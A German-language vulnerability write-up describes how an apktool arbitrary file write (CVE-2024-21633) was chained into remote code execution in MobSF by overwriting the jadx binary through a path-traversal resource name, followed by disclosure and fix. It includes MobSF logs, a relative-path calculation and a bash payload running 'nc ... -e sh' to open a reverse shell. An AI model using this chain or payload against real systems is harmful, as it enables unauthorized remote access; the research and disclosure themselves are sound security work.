
MobSF Remote-Codeausführung (via CVE-2024-21633)
Ich habe einen beliebigen Dateischreibvorgang in apktool gefunden und über GitHub Security Advisory gemeldet. Mir war bewusst, dass viele Projekte auf apktool angewiesen oder davon abhängig waren, aber nach der Veröffentlichung des Advisories und dem Fix schien es nicht viele zu bemerken oder zu kümmern. Ich beschloss, die Auswirkungen und die Ausnutzbarkeit bei einigen der großen Abhängigkeiten zu prüfen, und begann dann mit MobSF.
Die Schwachstelle ermöglicht es uns, beliebige Inhalte unter einem relativen Pfad zu ${decode target path}/res/ zu schreiben. Die größte Auswirkung wäre eine RCE. Es gibt jedoch einen Haken: Die geschriebene Datei ist nicht ausführbar.
Ich hatte diese beiden Ideen im Kopf, bevor ich einstieg:
../../.bashrc anvisieren können, oder wir müssen den Benutzernamen kennen (oder bruteforcen), um ein Ziel wie ../../../../username/.bashrc zu haben. Ein netter Aspekt ist, dass eine Anwendung 0xFFFF (65536) verschiedene Rohressourcennamen haben kann, da Ressourcen-IDs wie 0x7F0B1234 aussehen (1 Byte Paketkennung, normalerweise 0x7F, 1 Byte Typkennung (z.B. raw, drawable), 2 Bytes Ressourcenkennung). In unserem Fall, wenn wir annehmen, dass MobSF in Docker läuft, kennen wir den Benutzernamen bereits: MobSF. Allerdings müssen wir nach dem Überschreiben der Datei darauf warten, dass eine Shell gestartet wird, was nicht garantiert ist.Aber was, wenn wir einfach das Glück haben, eine App zu haben, die die Berechtigungen einer Datei auf ausführbar ändert? Und noch mehr Glück, sie danach auch ausführt? Und das alles muss nach der Ausführung von apktool geschehen. Das ist genau die Situation bei MobSF. MobSF verwendet jadx als Teil seiner statischen Analyse, es ruft jadx über einen Unterprozess auf, aber kurz davor ändert es die Berechtigung von jadx auf ausführbar.
Logausschnitt, in dem apktool, chmod und jadx nacheinander aufgerufen werden:
[INFO] 07/Jan/2024 20:44:16 - Getting AndroidManifest.xml from APK
[INFO] 07/Jan/2024 20:44:16 - Converting AXML to XML
[INFO] 07/Jan/2024 20:44:16 - executed command: /jdk-20.0.2/bin/java -jar -Djdk.util.zip.disableZip64ExtraFieldValidation=true /home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/apktool_2.9.1.jar --match-original --frame-path /tmp -f -s d /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/6cae29cb89b3aac3890c1d4d21fcc756.apk -o /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/apktool_out
.
.
.
[INFO] 07/Jan/2024 20:44:20 - Decompiling to Java with jadx
[INFO] 07/Jan/2024 20:44:20 - executed command: chmod +x /home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx
[INFO] 07/Jan/2024 20:44:20 - executed command: /home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx -ds /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/java_source/ -q -r --show-bad-code /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/6cae29cb89b3aac3890c1d4d21fcc756.apk
Wir werden jadx als Ziel verwenden, aber wir benötigen den relativen Pfad von jadx zum res-Ordner. Dies erhalten wir mit der Python-Funktion os.path.relpath().
import os
jadx_path = "/home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx"
res_base_path = "/home/mobsf/.MobSF/uploads/680b420ade61b64ce7c024a2ed6bc94d/apktool_out/res"
os.path.relpath(jadx_path, res_base_path)
>>> '../../../../Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx'
Unser Payload wird in res/raw/jadx liegen.
#!/bin/bash
nc host.docker.internal 9001 -e sh
Der Ressourcenname wird ../../../../Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx sein.
Laden Sie die APK hoch und warten Sie, bis jadx ausgeführt wird. Wir erhalten eine Shell auf unserem nc-Listener.
Bingo!

Ich habe dies dann dem MobSF-Team per E-Mail gemeldet, eine prompte Antwort erhalten und sie haben es gefixt, indem sie auf eine neuere apktool-Version aktualisierten, aber das Verhalten, jadx ausführbar zu machen und es anschließend auszuführen, besteht weiterhin. Ich hätte lieber die Berechtigung im Voraus festgelegt und das Verzeichnis nicht beschreibbar gehalten.
Folgt für mehr! @0x33c0unt